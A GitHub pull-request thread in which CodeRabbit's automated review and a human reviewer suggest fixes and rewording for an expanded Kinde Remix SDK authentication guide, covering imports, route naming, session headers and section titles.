Conversation
WalkthroughThe Remix SDK docs file was extensively expanded from a focused authentication guide into a comprehensive backend integration reference, adding installation, route handlers, environment configuration, session management, organizations, management API, analytics, internationalization, portal/navigation, health/debug, and migration guidance. (≤50 words) Changes
Sequence Diagram(s)sequenceDiagram
participant Client as Client (Browser)
participant Remix as Remix App (Server)
participant Kinde as Kinde Auth/API
Client->>Remix: Request protected route
Remix->>Remix: Loader checks session / access token
alt no valid session
Remix->>Client: Redirect to /auth/login (with returnUrl)
Client->>Kinde: User authenticates (browser -> Kinde)
Kinde-->>Client: Redirect back with auth state
Client->>Remix: Callback route (/auth/callback) with code/state
Remix->>Kinde: Exchange code -> tokens
Kinde-->>Remix: ID token, access token, refresh token
Remix->>Remix: Create/rotate session, set cookies
Remix->>Client: Redirect to returnUrl
else valid session
Remix-->>Client: Serve protected resource
end
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~20 minutes Poem
🚥 Pre-merge checks | ✅ 1 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (1 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 1
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx(9 hunks)
🧰 Additional context used
🧠 Learnings (1)
📚 Learning: 2024-11-12T06:00:08.396Z
Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 253
File: src/content/docs/properties/work-with-properties/property-groups.mdx:13-13
Timestamp: 2024-11-12T06:00:08.396Z
Learning: In the project documentation, the `/kinde-apis/management` and `/kinde-apis/frontend` pages use a third-party API reference and client that loads a Single Page Application (SPA). Therefore, links to sections within these pages are valid, even if they appear to point to non-existent sections in static analysis, and should not be flagged.
Applied to files:
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
🪛 LanguageTool
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
[grammar] ~41-~41: Ensure spelling is correct
Context: ...apps with Kinde authentication. New to Kinde? [Get started here](/get-started/guides/...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
[grammar] ~43-~43: Use a hyphen to join words.
Context: .../first-things-first/). ## Create a back end application in Kinde The Remix SDK ...
(QB_NEW_EN_HYPHEN)
[grammar] ~45-~45: Use a hyphen to join words.
Context: ... in Kinde The Remix SDK works with back end applications. Create one in Kinde. S...
(QB_NEW_EN_HYPHEN)
[grammar] ~185-~185: Ensure spelling is correct
Context: ...ticated!", user); } }); } ## Kinde session helpers jsx const { getUs...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
🔇 Additional comments (7)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (7)
72-85: Good structure for auth route setup.Clear setup instructions, correct file path pattern, proper type imports, and helpful clarification about route responsibilities.
87-139: Authentication flows are well-structured with good patterns.Clear examples for sign up, sign in, org-specific login, and logout. The
returnToparameter pattern (line 124) is a UX best practice for returning users to their origin page after auth.
141-166: Excellent route protection pattern with proper header propagation.The loader-based guard with header propagation ensures refresh tokens work correctly in background. The aside note clearly explains this critical requirement.
168-183: Callback pattern is clear and well-documented.Good example showing how to perform side effects after authentication. The onRedirectCallback receives the user object as expected.
185-261: Comprehensive session helpers documentation with good organization.Clear code examples, complete method table with proper section anchors, and well-grouped detailed descriptions for claims, authentication, feature flags, permissions, and organizations. Documentation structure mirrors Next.js SDK guide as intended.
286-299: Internationalization section is clear and follows Remix patterns.Good example showing how to set language preference via search parameters.
301-303: Management API reference is appropriately brief.Simple pointer to external library documentation.
There was a problem hiding this comment.
Actionable comments posted: 1
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx(6 hunks)
🧰 Additional context used
🧠 Learnings (2)
📚 Learning: 2024-11-12T06:00:08.396Z
Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 253
File: src/content/docs/properties/work-with-properties/property-groups.mdx:13-13
Timestamp: 2024-11-12T06:00:08.396Z
Learning: In the project documentation, the `/kinde-apis/management` and `/kinde-apis/frontend` pages use a third-party API reference and client that loads a Single Page Application (SPA). Therefore, links to sections within these pages are valid, even if they appear to point to non-existent sections in static analysis, and should not be flagged.
Applied to files:
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
📚 Learning: 2025-09-04T02:15:38.458Z
Learnt from: clairekinde11
Repo: kinde-oss/documentation PR: 545
File: src/content/docs/design/customize-with-code/custom-styling-per-application.mdx:59-70
Timestamp: 2025-09-04T02:15:38.458Z
Learning: In Kinde custom pages repository structure, layout.tsx should be placed as a sibling to the (kinde) directory at pages/layout.tsx level, not inside the (kinde) directory. The import path "../../layout" from pages/(kinde)/(default)/page.tsx works correctly with this structure in Kinde's system.
Applied to files:
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
🪛 LanguageTool
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
[grammar] ~41-~41: Ensure spelling is correct
Context: ... is for developers using Remix. New to Kinde? [Get started here](/get-started/guides/...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
[grammar] ~52-~52: Ensure spelling is correct
Context: ...mix-starter-kit). Clone it and add your Kinde application details. ## Install for an...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
[grammar] ~263-~263: Ensure spelling is correct
Context: ...ticated!", user); } }); } ## Kinde Auth data - Server jsx const { ge...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
[grammar] ~388-~388: Use a hyphen to join words.
Context: ...org` or use the Management API. ## Self Serve Portal Send users to the self-ser...
(QB_NEW_EN_HYPHEN)
🔇 Additional comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)
43-481: Overall structure and content quality look good.The documentation has been comprehensively restructured to align with the Next.js SDK format. The coverage is thorough, including installation, environment configuration, route handlers, middleware, authentication flows, Kinde Auth APIs (server and client), management API integration, organizations, analytics, i18n, and troubleshooting sections. Code examples are consistent and properly demonstrate best practices like header propagation for automatic token refresh. The organization is logical and follows a clear progression from setup to advanced topics.
60-60: Both documentation links are valid and exist in the repository.The links at line 60 (
/build/applications/add-and-manage-applications/) and line 390 (/build/self-service-portal/self-serve-portal-for-orgs/) point to existing documentation pages and are correctly referenced.
There was a problem hiding this comment.
Actionable comments posted: 1
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx(7 hunks)
🧰 Additional context used
🧠 Learnings (1)
📚 Learning: 2025-09-04T02:15:38.458Z
Learnt from: clairekinde11
Repo: kinde-oss/documentation PR: 545
File: src/content/docs/design/customize-with-code/custom-styling-per-application.mdx:59-70
Timestamp: 2025-09-04T02:15:38.458Z
Learning: In Kinde custom pages repository structure, layout.tsx should be placed as a sibling to the (kinde) directory at pages/layout.tsx level, not inside the (kinde) directory. The import path "../../layout" from pages/(kinde)/(default)/page.tsx works correctly with this structure in Kinde's system.
Applied to files:
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
🪛 LanguageTool
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
[grammar] ~41-~41: Ensure spelling is correct
Context: ... is for developers using Remix. New to Kinde? [Get started here](/get-started/guides/...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
[grammar] ~52-~52: Ensure spelling is correct
Context: ...mix-starter-kit). Clone it and add your Kinde application details. ## Install for an...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
[grammar] ~284-~284: Ensure spelling is correct
Context: ...ticated!", user); } }); } ## Kinde Auth data - Server jsx const { ge...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
🔇 Additional comments (9)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (9)
33-33: Verify the updated date is intentional.The frontmatter date is set to "2024-01-15", which is in the past. For a restructuring PR created on 2025-12-09, confirm whether this should be updated to the current date or if there's a reason to retain the older date.
50-82: Installation and configuration sections are well-structured. Clear organization of new/existing project flows, callback URLs, and environment setup. The optional KINDE_AUDIENCE parameter is properly documented.
84-119: Auth route and middleware setup is idiomatic Remix. The single-route approach with handleAuth is clean. Middleware pattern using loaders and headers for background token refresh is well-explained and correct.
121-165: Provider setup correctly bridges server and client state. The loader-based data hydration pattern with KindeProvider is idiomatic Remix and properly typed. Headers are correctly threaded for token refresh.
167-282: Authentication flows are comprehensive and well-documented. Sign up, login, logout, organization routing, internationalization, and return-to patterns are all clearly explained with practical examples. The onRedirectCallback hook for post-auth side effects is properly documented.
284-358: Server and client data sections are well-organized and practical. Methods are grouped logically by function (claims, auth, flags, permissions, organizations). Client example effectively demonstrates data hydration from server loaders to components.
360-391: Protected route example is complete and demonstrates best practices. Auth check with proper redirect and returnTo parameter for UX recovery is well-implemented. Headers threading is correct.
442-591: Remaining sections are comprehensive and well-documented. Organizations, Self-Serve Portal (correctly hyphenated ✓), Analytics, Internationalization, Audience, subdomains, preview URLs, health check, and troubleshooting are all clearly explained with practical examples. Management API correctly references the separate package.
60-60: Past review comments have been properly addressed. Hyphenation corrections ("back-end" at line 60 and "Self-Serve Portal" at line 461) are in place per previous feedback.Also applies to: 461-461
There was a problem hiding this comment.
Actionable comments posted: 1
🧹 Nitpick comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)
43-48: Consider consolidating duplicate Internationalization sections.The guide includes internationalization content in two places: a subsection under "Sign up and sign in" (lines 221–234) and a standalone "Internationalization" section (lines 513–526) with identical information about setting the
langparameter.Consolidate these into a single section or clarify the distinction (e.g., one is auth-specific, the other is general guidance). Alternatively, the top-level section could be removed if the subsection within auth flows is sufficient.
Also applies to: 221-234, 513-526
206-219: Clarify or consolidate Organizations content.Organizations are discussed in two places:
- Lines 206–219: Logging into specific organizations during authentication (org_code parameter)
- Lines 448–465: Broader organizations section covering login and creation
Consider whether this separation is intentional (auth-specific vs. org management) or if it should be consolidated into a single, well-organized section for clarity.
Also applies to: 448-465
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx(7 hunks)
🧰 Additional context used
🧠 Learnings (2)
📚 Learning: 2024-11-12T06:00:08.396Z
Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 253
File: src/content/docs/properties/work-with-properties/property-groups.mdx:13-13
Timestamp: 2024-11-12T06:00:08.396Z
Learning: In the project documentation, the `/kinde-apis/management` and `/kinde-apis/frontend` pages use a third-party API reference and client that loads a Single Page Application (SPA). Therefore, links to sections within these pages are valid, even if they appear to point to non-existent sections in static analysis, and should not be flagged.
Applied to files:
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
📚 Learning: 2025-09-04T02:15:38.458Z
Learnt from: clairekinde11
Repo: kinde-oss/documentation PR: 545
File: src/content/docs/design/customize-with-code/custom-styling-per-application.mdx:59-70
Timestamp: 2025-09-04T02:15:38.458Z
Learning: In Kinde custom pages repository structure, layout.tsx should be placed as a sibling to the (kinde) directory at pages/layout.tsx level, not inside the (kinde) directory. The import path "../../layout" from pages/(kinde)/(default)/page.tsx works correctly with this structure in Kinde's system.
Applied to files:
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
🪛 LanguageTool
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
[grammar] ~41-~41: Ensure spelling is correct
Context: ... is for developers using Remix. New to Kinde? [Get started here](/get-started/guides/...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
[grammar] ~52-~52: Ensure spelling is correct
Context: ...mix-starter-kit). Clone it and add your Kinde application details. ## Install for an...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
[grammar] ~284-~284: Ensure spelling is correct
Context: ...ticated!", user); } }); } ## Kinde Auth data - Server jsx const { ge...
(QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1)
🔇 Additional comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)
60-60: Excellent: previous issues have been resolved.
- Line 60: "back-end" is now correctly hyphenated ✓
- Line 467: "Self-Serve Portal" heading is now correctly hyphenated ✓
- Lines 405–425: Import statements are now present in refresh token examples ✓
Also applies to: 467-467, 405-425
1-597: Well-structured comprehensive guide with solid code examples.The restructuring mirrors the Next.js SDK format effectively:
- Installation paths (new/existing projects) are clear and actionable
- Route handler setup (lines 84–95), middleware (lines 101–119), and provider setup (lines 121–165) are well-documented with working examples
- Kinde Auth data methods are logically grouped into categories (claims, auth, flags, permissions, orgs)
- Refresh token patterns include proper imports and preserve headers for background rotation
- New sections (Management API, Analytics, Audience, Subdomains, Preview URLs, Debug mode, Health check, Migration guide) provide comprehensive coverage
Code examples consistently follow Remix conventions (LoaderFunctionArgs, ActionFunctionArgs, useLoaderData, redirect/json responses) and are copy-paste ready.
There was a problem hiding this comment.
Actionable comments posted: 4
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)
245-256: Add missing imports for copy-paste usability.This code block uses
LoaderFunctionArgs,json,redirect, andgetKindeSessionwithout imports. For consistency with other examples in this doc, include the necessary imports.🔎 Suggested fix
+import { json, LoaderFunctionArgs, redirect } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + export const loader = async ({request}: LoaderFunctionArgs) => { const {getUser, headers} = await getKindeSession(request);
🤖 Fix all issues with AI agents
In @src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx:
- Line 33: The frontmatter 'updated' field in the document is stale (shows
2024-01-15); update the 'updated' field value to the current date (e.g.,
2025-12-09 or today's date) in the same file so the metadata reflects the PR's
changes.
- Around line 407-418: The exported Remix action is currently named
updateProfile which Remix won't recognize as a route action; rename the function
export from updateProfile to action (keep the implementation the same: async ({
request }: ActionFunctionArgs) => { ... }) and update any internal references to
use action so Remix can pick up the route handler, ensuring you still import
json, ActionFunctionArgs, and getKindeSession and return json({ user }, {
headers }) as before.
- Around line 114-131: The docs import KindeProvider from the package
@kinde-oss/kinde-auth-react but the install section only references
@kinde-oss/kinde-remix-sdk; update the install instructions to mention
@kinde-oss/kinde-auth-react as an optional dependency required when using the
KindeProvider (client-side auth state), and add a brief note near the example
calling out that you must install @kinde-oss/kinde-auth-react if you plan to use
KindeProvider in app/root.tsx.
- Around line 472-479: The docs example uses PortalPage from the external
package "@kinde/js-utils" but the install section doesn’t mention this optional
dependency; update the installation or the example with a short note that
PortalPage (and related portal helpers) come from "@kinde/js-utils" and must be
installed when using portal features (referencing PortalPage in the example) —
either add a one-line inline note next to the import or add the package to the
prerequisite install list so readers know to npm/yarn add @kinde/js-utils when
using portal utilities.
🧹 Nitpick comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)
525-528: Clarify multi-audience env var syntax.The inline
#comment may not work in all.envparsers (some treat it as part of the value). Consider showing the multi-audience example on a separate line with a preceding comment, and quote values with spaces.🔎 Suggested fix
```shell KINDE_AUDIENCE=<your-api> -KINDE_AUDIENCE=<api-one> <api-two> # multiple audiences (space separated) +# Multiple audiences (space-separated) +KINDE_AUDIENCE="<api-one> <api-two>"</details> </blockquote></details> </blockquote></details> <details> <summary>📜 Review details</summary> **Configuration used**: Repository UI **Review profile**: CHILL **Plan**: Pro <details> <summary>📥 Commits</summary> Reviewing files that changed from the base of the PR and between 2d3fa9e6656e82f979d11b157c119d19fabab00f and 6cebbc9190aa2e84d4f6c848da0fc87645a77da8. </details> <details> <summary>📒 Files selected for processing (1)</summary> * `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` </details> <details> <summary>🧰 Additional context used</summary> <details> <summary>🧠 Learnings (6)</summary> <details> <summary>📓 Common learnings</summary>Learnt from: victoreronmosele
Repo: kinde-oss/documentation PR: 647
File: src/content/docs/developer-tools/sdks/native/ios-sdk.mdx:278-297
Timestamp: 2025-12-27T18:42:35.893Z
Learning: In Kinde iOS SDK documentation (src/content/docs/developer-tools/sdks/native/ios-sdk.mdx), when parameters like loginHint and connectionId are documented, it is preferred to list them in the API reference Arguments section and link to detailed documentation pages rather than duplicating detailed descriptions, format specifications, and validation rules inline. This follows the "document once, reference anywhere" principle.</details> <details> <summary>📚 Learning: 2024-11-12T06:00:08.396Z</summary>Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 253
File: src/content/docs/properties/work-with-properties/property-groups.mdx:13-13
Timestamp: 2024-11-12T06:00:08.396Z
Learning: In the project documentation, the/kinde-apis/managementand/kinde-apis/frontendpages use a third-party API reference and client that loads a Single Page Application (SPA). Therefore, links to sections within these pages are valid, even if they appear to point to non-existent sections in static analysis, and should not be flagged.**Applied to files:** - `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` </details> <details> <summary>📚 Learning: 2024-10-22T06:12:51.559Z</summary>Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 226
File: src/content/docs/developer-tools/sdks/backend/nextjs-sdk.mdx:0-0
Timestamp: 2024-10-22T06:12:51.559Z
Learning: The Kinde documentation's base URL is notkinde.com, so links to the documentation should use the correct base URL.**Applied to files:** - `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` </details> <details> <summary>📚 Learning: 2024-10-22T06:13:23.808Z</summary>Learnt from: marcosmartini
Repo: kinde-oss/documentation PR: 226
File: src/content/docs/developer-tools/sdks/backend/nextjs-sdk.mdx:0-0
Timestamp: 2024-10-22T06:13:23.808Z
Learning: In the Kinde documentation, links may uselocalhostURLs that are fixed to relative paths, and the docs base URL is notkinde.com.**Applied to files:** - `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` </details> <details> <summary>📚 Learning: 2025-09-04T02:15:38.458Z</summary>Learnt from: clairekinde11
Repo: kinde-oss/documentation PR: 545
File: src/content/docs/design/customize-with-code/custom-styling-per-application.mdx:59-70
Timestamp: 2025-09-04T02:15:38.458Z
Learning: In Kinde custom pages repository structure, layout.tsx should be placed as a sibling to the (kinde) directory at pages/layout.tsx level, not inside the (kinde) directory. The import path "../../layout" from pages/(kinde)/(default)/page.tsx works correctly with this structure in Kinde's system.**Applied to files:** - `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` </details> <details> <summary>📚 Learning: 2025-12-27T18:42:29.479Z</summary>Learnt from: victoreronmosele
Repo: kinde-oss/documentation PR: 647
File: src/content/docs/developer-tools/sdks/native/ios-sdk.mdx:278-297
Timestamp: 2025-12-27T18:42:29.479Z
Learning: In MDX documentation files (e.g., any API reference docs), when documenting parameters (like loginHint, connectionId), prefer listing them in the API reference Arguments section and link to detailed documentation pages instead of duplicating descriptions, format specs, or validation rules inline. This follows the 'document once, reference anywhere' principle.**Applied to files:** - `src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` </details> </details><details> <summary>🪛 LanguageTool</summary> <details> <summary>src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx</summary> [grammar] ~41-~41: Ensure spelling is correct Context: ... is for developers using Remix. New to Kinde? [Get started here](/get-started/guides/... (QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1) --- [grammar] ~53-~53: Ensure spelling is correct Context: ...th back-end applications. Create one in Kinde. See [Add and manage applications](/bui... (QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1) --- [grammar] ~328-~328: Ensure spelling is correct Context: ...ation()` - `getUserOrganizations()` ## Kinde Auth data - Client Pass data from your... (QB_NEW_EN_ORTHOGRAPHY_ERROR_IDS_1) </details> </details> </details> <details> <summary>🔇 Additional comments (3)</summary><blockquote> <details> <summary>src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (3)</summary><blockquote> `353-384`: **LGTM!** The protected route example is complete with all necessary imports, proper loader structure, headers propagation for token refresh, and `returnTo` parameter usage. This demonstrates the recommended pattern clearly. --- `420-439`: **LGTM!** The Management API section provides a clear server-side example with proper imports and headers propagation. --- `568-577`: **LGTM!** The "State not found error" section clearly explains the cause (domain mismatch between auth start and callback) and provides actionable solutions. This will help developers troubleshoot a common issue. </blockquote></details> </blockquote></details> </details> <!-- This is an auto-generated comment by CodeRabbit for review status -->
|
|
||
| This SDK is for developers using Remix. | ||
|
|
||
| New to Kinde? [Get started here](/get-started/guides/first-things-first/). |
There was a problem hiding this comment.
I'll just add suggestions down the document like below. Please don't feel the need to use them :-) Just ideas
New to Kinde? Refer to the Getting Started guide.
| New to Kinde? [Get started here](/get-started/guides/first-things-first/). | ||
|
|
||
| ## Create a back end application in Kinde | ||
| ## Install for a new project |
| The quickest way to start is with the [Remix starter kit](https://github.com/kinde-starter-kits/kinde-remix-starter-kit). Clone it and add your Kinde application details. | ||
|
|
||
| ## Install the Kinde Remix SDK into your Remix project | ||
| ## Install for an existing project |
| ## Install for a new project | ||
|
|
||
| The Remix SDK works with back end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). | ||
| The quickest way to start is with the [Remix starter kit](https://github.com/kinde-starter-kits/kinde-remix-starter-kit). Clone it and add your Kinde application details. |
There was a problem hiding this comment.
"quickest" -> "fastest"
"Clone it" -> "Clone the repository"
| <PackageManagers pkg="@kinde-oss/kinde-remix-sdk" /> | ||
|
|
||
| ## **Set callback URLs** | ||
| If you plan to use the optional client-side `KindeProvider` example below, also install `@kinde-oss/kinde-auth-react`: |
There was a problem hiding this comment.
If you intend to use the optional client-side KindeProvider component (illustrated in the example below), also install the React authentication helpers:
| yarn add @kinde-oss/kinde-auth-react | ||
| ``` | ||
|
|
||
| If you want to use portal navigation helpers (for example `PortalPage`), install `@kinde/js-utils`: |
There was a problem hiding this comment.
To utilize portal navigation utilities (e.g., PortalPage), install the JavaScript utilities package:
|
|
||
| The Remix SDK works with back-end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). | ||
|
|
||
| 1. In Kinde, go to **Settings > Applications > [Your app] > View details**. |
There was a problem hiding this comment.
"In Kinde" -> "In the Kinde dashboard"
| The Remix SDK works with back-end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). | ||
|
|
||
| 1. In Kinde, go to **Settings > Applications > [Your app] > View details**. | ||
| 2. Add your callback URLs in the relevant fields. For example: |
|
|
||
| 1. In Kinde, go to **Settings > Applications > [Your app] > View details**. | ||
| 2. Add your callback URLs in the relevant fields. For example: | ||
| - Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback` |
There was a problem hiding this comment.
Allowed callback URLs (redirect URIs) - e.g. http://localhost:3000/kinde-auth/callback
| 1. In Kinde, go to **Settings > Applications > [Your app] > View details**. | ||
| 2. Add your callback URLs in the relevant fields. For example: | ||
| - Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback` | ||
| - Allowed logout redirect URLs - for example `http://localhost:3000` |
There was a problem hiding this comment.
Allowed logout redirect URLs - e.g. http://localhost:3000
| 2. Add your callback URLs in the relevant fields. For example: | ||
| - Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback` | ||
| - Allowed logout redirect URLs - for example `http://localhost:3000` | ||
| 3. Select **Save**. |
| ## Configure environment variables | ||
|
|
||
| While you are in your Kinde backend application, copy the Client ID and Client secret, redirect URLs, etc. Add these details to the Environment variables for your application. | ||
| While you are in your Kinde backend application, copy the Client ID and Client secret, redirect URLs, etc. Add these details to the environment variables for your application. Add `KINDE_AUDIENCE` if you need to call a protected API. |
There was a problem hiding this comment.
While configuring your backend application in the Kinde dashboard, copy the Client ID, Client Secret, Issuer URL, and any required redirect URIs. Store these values securely in your application's environment variables.
Add KINDE_AUDIENCE if your application needs to call protected APIs (this populates the aud claim in access tokens).
| 3. Select **Save**. | ||
|
|
||
| ## Set up environment variables | ||
| ## Configure environment variables |
There was a problem hiding this comment.
"Configure environment variables" -> "Environment Variables"
| ``` | ||
|
|
||
| ## Set up authentication routes | ||
| ## Set up Kinde Auth Route Handlers |
There was a problem hiding this comment.
"Set up Kinde Auth Route Handlers" -> "Authentication Route Handler"
| ## Set up Kinde Auth Route Handlers | ||
|
|
||
| Create this file `app/routes/kinde-auth.$index.tsx`. | ||
| Create `app/routes/kinde-auth.$index.tsx`. This single route file handles login, logout, register, callback, health, etc. |
There was a problem hiding this comment.
Create a catch-all route to handle all Kinde authentication endpoints (login, logout, callback, register, health check, etc.) - e.g. app/routes/kinde-auth.$index.tsx
| } | ||
| ``` | ||
|
|
||
| ## Customising Kinde Auth API paths |
There was a problem hiding this comment.
""Customising Kinde Auth API paths" -> "Custom Base Path"
|
|
||
| ## Customising Kinde Auth API paths | ||
|
|
||
| By default, Kinde endpoints live at `/kinde-auth/*`. If you want a different base path, rename the route file (for example `app/routes/auth.$index.tsx`) and update any links that point to `/kinde-auth/...` to the new path. |
There was a problem hiding this comment.
By default, authentication endpoints are mounted at /kinde-auth/. To use a different prefix (e.g. /auth/):
- Rename the file → app/routes/auth.$index.tsx
- Update all references (links, redirects) from /kinde-auth/... to the new path
|
|
||
| By default, Kinde endpoints live at `/kinde-auth/*`. If you want a different base path, rename the route file (for example `app/routes/auth.$index.tsx`) and update any links that point to `/kinde-auth/...` to the new path. | ||
|
|
||
| ## Set up middleware |
There was a problem hiding this comment.
"Set up middleware" -> "Session Management"
|
|
||
| ## Set up middleware | ||
|
|
||
| Remix does not require a separate middleware file. Use loaders to validate the session and pass the returned `headers` through your responses so refresh tokens can rotate in the background. |
There was a problem hiding this comment.
Remix handles protection and session validation via loaders. Always return the headers object from getKindeSession in your responses to enable automatic background refresh token rotation.
| }; | ||
| ``` | ||
|
|
||
| ## Set up the Kinde Auth Provider |
There was a problem hiding this comment.
"Set up the Kinde Auth Provider" -> "Client-Side Auth Context (KindeProvider)"
|
|
||
| ## Set up the Kinde Auth Provider | ||
|
|
||
| The Remix SDK works server-side, but you can wrap your root to expose auth state to components. Use the React provider and feed it data from your loader. |
There was a problem hiding this comment.
Although the SDK is primarily server-oriented, you can expose authentication state to React components using the KindeProvider.
There was a problem hiding this comment.
Actionable comments posted: 1
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)
299-332: AddrefreshTokensto the destructuring example.The
refreshTokens()method is documented in the "Authentication and user information" section but is missing from the code snippet destructuring. According to the Kinde Remix SDK API,refreshTokens()is available fromgetKindeSession(request)and should be included.Suggested fix
const { getUser, getBooleanFlag, getFlag, getIntegerFlag, getStringFlag, getPermission, getClaim, getClaimValue, getOrganization, getPermissions, getToken, + refreshTokens, getUserOrganizations, getUserProfile, isAuthenticated } = await getKindeSession(request);
261-276: Add headers to auth redirects — required for session rotation to work.The
redirect()calls on lines 261-276 and 385-390 are missing theheadersparameter. Per Kinde's SDK requirements, these headers must be passed to anyredirect()response so that Set-Cookie headers for session rotation survive the redirect. Without them, session rotation will fail.🔧 Required fix
- throw redirect("/kinde-auth/login?returnTo=/protected-route"); + throw redirect("/kinde-auth/login?returnTo=/protected-route", { headers });- throw redirect("/kinde-auth/login?returnTo=/protected"); + throw redirect("/kinde-auth/login?returnTo=/protected", { headers });
🤖 Fix all issues with AI agents
In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`:
- Around line 549-556: Change the code fence from "shell" to "env" and update
the multi-audience example to use quoted space-separated values; specifically,
in the Audience section replace the ```shell fence with ```env and change the
second KINDE_AUDIENCE line to use KINDE_AUDIENCE="<api-one> <api-two>" so it
correctly represents a .env value for KINDE_AUDIENCE.
There was a problem hiding this comment.
Actionable comments posted: 1
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (2)
267-277: Add missing imports in thereturnToloader example.The snippet uses
json,redirect,LoaderFunctionArgs, andgetKindeSessionbut lacks their import statements. Unlike the surrounding examples in this section, which include imports, this snippet is not copy-paste ready. Add the following imports:+import { json, LoaderFunctionArgs, redirect } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + export const loader = async ({request}: LoaderFunctionArgs) => {
95-116: Fix the catch‑all route filename and parameter syntax to match Remix splat route conventions.The example uses
app/routes/kinde-auth.$index.tsxandparams.index, which are incorrect for Remix splat routes. Splat routes use$in the filename and access the captured path viaparams["*"].Required changes
-Create a catch-all route to handle all Kinde authentication endpoints (login, logout, callback, register, health check, etc.) - e.g. `app/routes/kinde-auth.$index.tsx` +Create a catch-all route to handle all Kinde authentication endpoints (login, logout, callback, register, health check, etc.) - e.g. `app/routes/kinde-auth.$.tsx` export async function loader({ params, request }: LoaderFunctionArgs) { - return await handleAuth(request, params.index); + return await handleAuth(request, params["*"]); } -1. Rename the file → `app/routes/auth.$index.tsx` +1. Rename the file → `app/routes/auth.$.tsx`
🤖 Fix all issues with AI agents
In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`:
- Around line 412-440: The first snippet defines loader and calls json,
LoaderFunctionArgs and getKindeSession but is missing imports; add the imports
at the top of that snippet—import json and LoaderFunctionArgs from
"@remix-run/node" and import getKindeSession from "@kinde-oss/kinde-remix-sdk"
so the loader function compiles and the referenced symbols (loader, json,
LoaderFunctionArgs, getKindeSession) are resolved.
♻️ Duplicate comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)
482-505: Re‑validate the Self‑serve portal API link.This link was previously reported as returning 404. Please re‑check the target and update if the canonical path has changed.
